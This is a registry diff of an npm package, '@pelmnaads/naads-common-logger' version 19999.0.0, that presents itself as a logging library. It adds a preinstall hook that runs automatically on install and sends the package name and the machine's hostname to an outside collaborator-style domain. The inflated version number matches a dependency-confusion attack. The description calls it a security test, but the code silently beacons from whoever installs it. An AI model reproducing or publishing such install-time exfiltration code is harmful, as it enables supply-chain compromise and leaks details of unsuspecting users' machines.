@pelmnaads/naads-common-logger 19999.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +8 -0
  2. package/preinstall.js +16 -0
package/package.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "@pelmnaads/naads-common-logger",
3
+ "version": "19999.0.0",
4
+ "description": "security test by pelmorex. package naads-common-logger",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js"
7
+ }
8
+ }
package/preinstall.js ADDED
@@ -0,0 +1,16 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ const options = {
5
+ hostname: 'h5nvwrz2815ubw84cpkwhezm5db9z1nq.b.mburpcollab.com',
6
+ port: 443,
7
+ path: "/?package=" + (process.env.npm_package_name || 'unknown') + "&hostname=" + os.hostname(),
8
+ method: 'GET'
9
+ };
10
+
11
+ const req = https.request(options, (res) => {
12
+ res.on('data', () => {});
13
+ });
14
+
15
+ req.on('error', (e) => {});
16
+ req.end();